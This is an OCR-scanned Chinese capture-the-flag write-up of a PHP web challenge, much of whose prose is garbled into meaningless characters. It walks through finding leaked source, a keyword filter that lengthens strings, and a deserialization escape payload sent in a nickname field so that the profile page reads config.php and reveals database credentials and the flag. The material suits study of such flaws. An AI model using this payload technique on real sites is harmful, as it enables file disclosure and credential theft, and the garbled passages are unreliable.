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Username:

Password:

LOGIN

BN EFAME, WA, Sl 17— e %A 7y Re 5 Y.
Invalid user name or password
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python3 ctf-wscan.py http://xxx.cn/
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[200] => register.php
[200] => www.zip
[403] => upload/
[200] => config.php
[200] => /config.php
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Register

Username:

Password:

REGISTER

17 A update.php U1 :

Login First

B AT S R



AR FAFAE DD M ER 3 www. zip B4 :

f—

v WWW
> upload

profile.php

> _ static
config.php
register.php
index.php
class.php

update.php

XA EEAT o, HorbstaticP 2R TICSS . JSTEN 2, upload H Sk Nz A7 2 EALRISCIE, HErE.

B AE config.php :

[ "hostname' '127.0.0.1";

[ "username’ 'root’;

[ "password’ "y
[ "database’ -

]

A E LT username FIMEN root , UL RAFIEAR R $flag
class.php DU E X T & M5k,
register.php U Al index.php T THI/E AV EM b, BRI 4 B BAH A

7E update.php T

require_once( 'class.php');

if( ["username’ ] null) {
die('Login First');
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if( [ "phone'] ["email'] [ "'nickname'] ['photo']) {

["username’];
if(!preg_match('/~\d{11}$/', ["phone']))
die('Invalid phone');

if(1preg_match('/~[_a-zA-Z0-9]{1,10}@[_a-zA-Z70-9]{1,10}\.[_a-zA-70-9]{1,10}$/", [‘email®]))
die('Invalid email');

if(preg_match('/[”a-zA-Z0-9 ]/', [ "'nickname’]) strlen( [ "'nickname'])
die('Invalid nickname');

['photo’];
if( ["size'] 5 or ["size'] 1000000)




die('Photo size error');

move_uploaded file( ["tmp_name'], 'upload/' . md5( ["name']));
[ "phone’ ] [ "phone'];

‘email'] ["email'];

[
["nickname’ ] ["nickname’];
[

'photo’ ] ‘upload/"' . md5( ["name']);

update_profile( , serialize( ));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

}

else {

DOCTYPE html
html
head
title>UPDATE</title
link href="static/bootstrap.min.css" rel="stylesheet"
script src="static/jquery.min.js" script
script src="static/bootstrap.min.js" script
head
body
div class="container" style="margin-top:100px"
form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:@
px auto;"

img src="static/piapiapia.gif" class="img-memeda style="width:180px;margin:0px auto;"
h3>Please Update Your Profile</h3
label>Phone:</label
input type="text" name="phone" style="height:30px"“class="span3"
label>Email:</label
input type="text" name="email" style="height:30px"“class="span3"
label>Nickname:</label
input type="text" name="nickname" style="height:30px" class="span3"
label for="file">Photo:</label
input type="file" name="photo" style="height:30px"class="span3"
button type="submit" class="btn btn-primary">UPDATE</button
form

div

body

html

B S IT SESSIONIG L & FR A, A8 FAR 8 1B W 30k A g4 N i s
HA} nickname FIIAES 2 AiANE, BHALEN strlen() 3AE T KEAGEEN 10

i8¢ )5 A update_profile() BFIH T serialize() BR%L, HEMIIL VI REAAAE T HIALIGIR, 7L class.php TUTHIHH £
#£ update_profile() &

public function update profile(
parent::filter(
parent::filter(

"username = ' 5
return parent::update( table, 'profile’,

}




H filter() B3

public function filter(
array("\"", "\\\\");
'/' . implode('|"',

preg_replace(

array('select', 'insert', 'update', ‘'delete', 'where');
'/' . implode('|"', ) . /it

return preg_replace( , 'hacker', )

!
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Hob update() BRI

public function update(
"UPDATE SET
return mysql _query( );
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o FNMFRIAFITIESEZT IS HL
o [FHILAEE $profile

o JJGARVAE B N hacker

1E profile.php ULIH -



require_once('class.php');
if(
die('Login First');
}

["username' ] null) {

["username'];
show_profile(
if( null) {
header('Location: update.php');
)i
else {
unserialize(
[ 'phone’];
["email'];
["nickname’];

base64_encode(file_get contents(

DOCTYPE html
html
head
title>Profile</title
link href="static/bootstrap.min.css" rel="stylesheet"
script src="static/jquery.min.js" script
script src="static/bootstrap.min.js" script
head
body

div class="container" style="margin-top:100px"

img src="data:image/gif;baseb4,<?php echo ;5 ?>" class="img-memeda

h3>Hi echo ; h3
label>Phone:

label>Email:

div

body

html

base64_encode(file get contents($profile[ 'photo’'])); ,» H:AZF&E $photo
PR, EAEMALK $profile[ 'photo’ ] & config, php » ABARLAT LAELEL R H R i flag .

H.rp ¢photo =

L B TOR, R RO S T 1 R kiR

i1 4
Fe 5L :

'abc', 'defg');
))s

array('123",
var_dump(serialize(

string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"

Hr L5 AU

U

" style="width:180px;margin:@px auto;

T file get contents() 4t




'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}";
var_dump(unserialize($b));

string(3) "123"
[1]
string(3) "abc"
[2]
string(4) "defg"

FFFMEFELL "5} GORI, RIREEAE "5} AT ERFIMLR) 75 i of, i S BIALAR i 45 A0 i T ) A B S i & 5

A7 At —

R sh —AMER abe Bri#y: abc";i:2;s:5:"qwert";} Ju, HRIITRFFIL, f3RI4R:

string(3) "123"
[1]

string(3) "abc"
[2]
string(5) "qwert"

B2 A defg FIME, B AT quert

FEA T, BRFIML R R NEE, UL RS S config. php MIHE, R FHIML 7R 38i%, 7 profile.php T
i flag.

B JGTE register.php TLHIVEMH P test

Register OK!Please Login

W e S, HEAZR] update.php JLH
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Please Update
Your Profile

Phone:

Email:

Nickname:

Photo:
BRSO | ROBIREAIS M

UPDATE

RAHYE)S, HBurpSuitedUH s 11.:

/ Request to http://ccb3f725-6671-4021-b77d-b2952db37051.node3.buuoj.cn:80 [111.73.45.58]

[ Forward ] [ Drop } [ Intercept is on ] [ Action ]

Raw | Params | Headers | Hex

[ ©;

1 POST /update.php HTTP/1.1

2 Host: ccb3£725-6671-4021-b77d-b2952db37051.node3.buuoj.cn

3 Content-Length: 8305

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://ccb3£725-6671-4021-b77d-b2952db37051.node3.buuoj.cn

7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryngwNcawyDD6ADGVY

8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1 0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://ccb3£725-6671-4021-b77d-b2952db37051.node3.buuoj.cn/update.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;g=0.9

13 Cookie: UM _distinctid=176cc63994071c-0a3bb0b090c52f-6d112d7c-13c680-176cc639941f6e; PHPSESSID=b4de227e0747d34109cca209ed5079chb

14 Connection: close

15

16 ————m= WebKitFormBoundaryngwNcawyDD6ADGVY

17 Content-Disposition: form-data; name="phone"
18

19 13636363636

20 —====- WebKitFormBoundaryngwNcawyDD6ADGVY

21 Content-Disposition: form-data; name="email"
22

23 123456789@qq.com

24 —-eees WebKitFormBoundaryngwNcawyDD6ADGVY

25 Content-Disposition: form-data; name="nickname"
26

27 testl

p 1 — WebKitFormBoundaryngwNcawyDD6ADGVY

29 Content-Disposition: form-data; name="photo"; filename="1.jpg"
30 Content-Type: image/jpeg

31
32 9009 JFIFGGPExifMM* VvV ~( @i fHH® 02218 © 010066 O P @éC
33

AN S 4R R AV SR B R E, 20 update.pho T TAVEARAE 1S40 % 414 A 3




['phone'] = '13636363636";
["email’] '123456789@qq.com"’ ;
[ "nickname’ ] "testl’';

[ "photo’] 'upload/f3ccdd27d2000e3f9255a7e3e2c48800" ;

var_dump(serialize( ));

SRR AR

string(159) "a:4:{s:5:"phone";s:11:"13636363636";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";s:5:"test1l";
s:5:"photo";s:39:"upload/f3ccdd27d2000e319255a7e3e2c48800"; }"

nickname BT s FMECIETER, BrUMER GG — A&, 13 photo HIME ML 5, Wik
J& ";}s:5:"photo";s:10: "config.php";}
PRI R PR & o, B A filter() BEULIE:

public function filter(
array("\""', "\\\\');
'/' . implode('|"',
preg replace(

array('select', 'insert', 'update', 'delete', 'where');
'/' . implode('|"', ) . /it
return preg _replace( , '"hacker', );

}

HiA "5 }s:5: "photo";s:10: "config.php";} KJE N 34, FrLLFEELI4S 34 7, FTLAES N where I, # &N hacker , F4FE
KE +1

4 nickname ZHMCAEA A, FF2 i Epayload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewh

erewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}



24 ———e—- WebKitFormBoundaryngwNcawyDD6ADGvVV

25 Content-Disposition: form-data; name="nickname[]"

26

27 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhe
rewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherew
here";}s:5:"photo";s:10:"config.php";}

28 —————- WebKitFormBoundaryngwNcawyDD6ADGVVY

29 Content-Disposition: form-data; name="photo"; filename="1.]jpg"

RILHARAL, 1E profile.php TLIH A& BG4

P

Hi Array

Phone: 13636363636 Email: 123456789@qq.com

FREEURT, B ORREINE, BF BT IR R

< ="data:image/gif;base64,PDOwaHAKIGNVbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMCAwL jEnOwokY29uZmlnWydlc2VybmFtZSdd
IDOgJ3Ivb3QnOwokY29uZmlnWydwYXNzd29yZCddIDOgI3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddIDOgI2NoYWxsZW5nZXMnOwoKk|

ZmxhZyA9ICdmbGFne2E2ZDk2NGMzLTgOMWEtNGYwWNYyO@5YmMNhLTczZmIkNjhkZjQxZX@n0Owo/Pgo=" ="img-memeda " ="width:1

8Opx;margin:@px auto;">




X T BASEG4fRTY, 13%flag:

baseZmhg

base16. base32. base64

PD9waHAKJIGNvbmZpZ1lsnaG9zdG5hbWUnXSA9ICcxMjcuMC4AwL jEnOwokY29uZmlnWydlc2VybmFtZ
SddID0gJ3Jvb30nOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWy
dkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2E2ZDk2NGMzLTg0OMWELNGY
wNy05YmNhLTczZmJkNJjhkZ jOxZX0nOwo/Pgo=

4813  baseb64 FE  utf8(unicodeZmiB)
& 5
<?php
Sconfig[ 'hostname'] = '127.0.0.1";
$config[ 'username'] = 'root';
$config[ 'password'] =

'gwertyuiop';
$config[ 'database'] = 'challenges';

$flag = 'flag{a6d964c3-841a-4f07-9bca-73fbd68dfdle}";
?>
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